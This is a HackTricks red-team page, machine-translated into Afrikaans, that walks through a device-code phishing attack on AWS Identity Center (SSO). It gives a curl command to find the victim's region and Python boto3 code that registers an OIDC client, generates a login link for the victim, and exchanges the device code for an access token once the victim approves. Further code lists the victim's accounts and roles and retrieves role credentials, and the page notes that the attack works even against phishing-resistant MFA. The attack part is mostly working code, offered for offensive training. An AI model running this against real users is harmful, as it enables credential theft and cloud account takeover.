AWS - Identity Center & SSO Unauthenticated Enum

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

AWS-toestelkode-hengelary

Aanvanklik voorgestel in hierdie blogpos, is dit moontlik om 'n skakel aan 'n gebruiker te stuur wat AWS SSO gebruik, sodat as die gebruiker dit aanvaar, die aanvaller 'n token sal kry om die gebruiker te impersoneer en toegang te verkry tot al die rolle wat die gebruiker in die Identiteitsentrum kan toegang.

Om hierdie aanval uit te voer, is die vereistes:

  • Die slagoffer moet Identiteitsentrum gebruik

  • Die aanvaller moet die subdomein ken wat deur die slagoffer gebruik word <victimsub>.awsapps.com/start

Net met hierdie inligting sal die aanvaller in staat wees om 'n skakel aan die gebruiker te stuur wat, indien aanvaar, die aanvaller toegang sal gee tot die AWS-gebruikersrekening.

Aanval

  1. Vind die subdomein

Die eerste stap van die aanvaller is om uit te vind watter subdomein die slagoffermaatskappy in hul Identiteitsentrum gebruik. Dit kan gedoen word deur OSINT of raaiwerk + BF aangesien die meeste maatskappye hul naam of 'n variasie van hul naam hier sal gebruik.

Met hierdie inligting is dit moontlik om die streek te kry waar die Identiteitsentrum mee opgestel is:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Genereer die skakel vir die slagoffer & Stuur dit

Voer die volgende kode uit om 'n AWS SSO-aanmeldskakel te genereer sodat die slagoffer kan outentiseer. Vir die demonstrasie, voer hierdie kode uit in 'n Python-konsole en verlaat dit nie aangesien jy later sekere objekte nodig sal hê om die token te kry:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Wag totdat die slagoffer dit aanvaar

Indien die slagoffer reeds aangemeld is by AWS sal hy net die toestemming hoef te aanvaar, indien hy nie aangemeld was nie, sal hy moet aanmeld en dan die toestemming aanvaar. Dit is hoe die promp deesdae lyk:

  1. Kry SSO toegangstoken

Indien die slagoffer die promp aanvaar het, hardloop hierdie kode om 'n SSO-token te genereer wat die gebruiker naboots:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Die SSO toegangsteken is geldig vir 8 uur.

  1. Impersoneer die gebruiker

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Hengel die onhengelbare MFA

Dit is pret om te weet dat die vorige aanval selfs werk as 'n "onhengelbare MFA" (webAuth) gebruik word. Dit is omdat die vorige werkstroom nooit die gebruikte OAuth-domein verlaat. Nie soos in ander hengel aanvalle waar die gebruiker die aanmeldingsdomein moet vervang nie, in hierdie geval is die toestelkode werkstroom voorberei sodat 'n kode deur 'n toestel bekend is en die gebruiker selfs op 'n ander masjien kan aanmeld. Indien die versoek aanvaar word, sal die toestel, net deur die aanvanklike kode te ken, in staat wees om geloofsbriewe vir die gebruiker te herwin.

Vir meer inligting hieroor kyk na hierdie pos.

Outomatiese Gereedskap

Verwysings

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated